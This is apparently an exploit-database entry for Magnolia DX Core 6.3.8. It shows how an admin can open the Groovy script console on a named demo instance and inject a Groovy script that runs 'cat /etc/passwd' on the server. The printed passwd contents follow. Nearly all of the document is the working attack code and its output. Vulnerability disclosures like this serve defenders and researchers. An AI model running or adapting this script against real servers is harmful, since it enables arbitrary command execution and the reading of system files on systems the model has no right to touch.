#### Exploit Title: Magnolia DX Core 6.3.8 - Command Injection #### Date: 05/16/2025 #### Exploit Author: tmrswrr #### Version: 6.3.8 #### Vendor home page: https://docs.magnolia-cms.com/home/ #### Product: https://docs.magnolia-cms.com/product-docs/6.3/releases/release-notes-for-magnolia-cms-6.3.8/ 1) Authenticate as an admin: `https://demoauthor.magnolia-cms.com/.magnolia/admincentral` 2) Navigate to **Development > Groovy > Add Script** 3) Inject Groovy Script: ```groovy def process = "cat /etc/passwd".execute() def output = new StringBuffer() process.consumeProcessOutput(output, System.err) process.waitFor() println "${output}: " ``` Result : ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash ```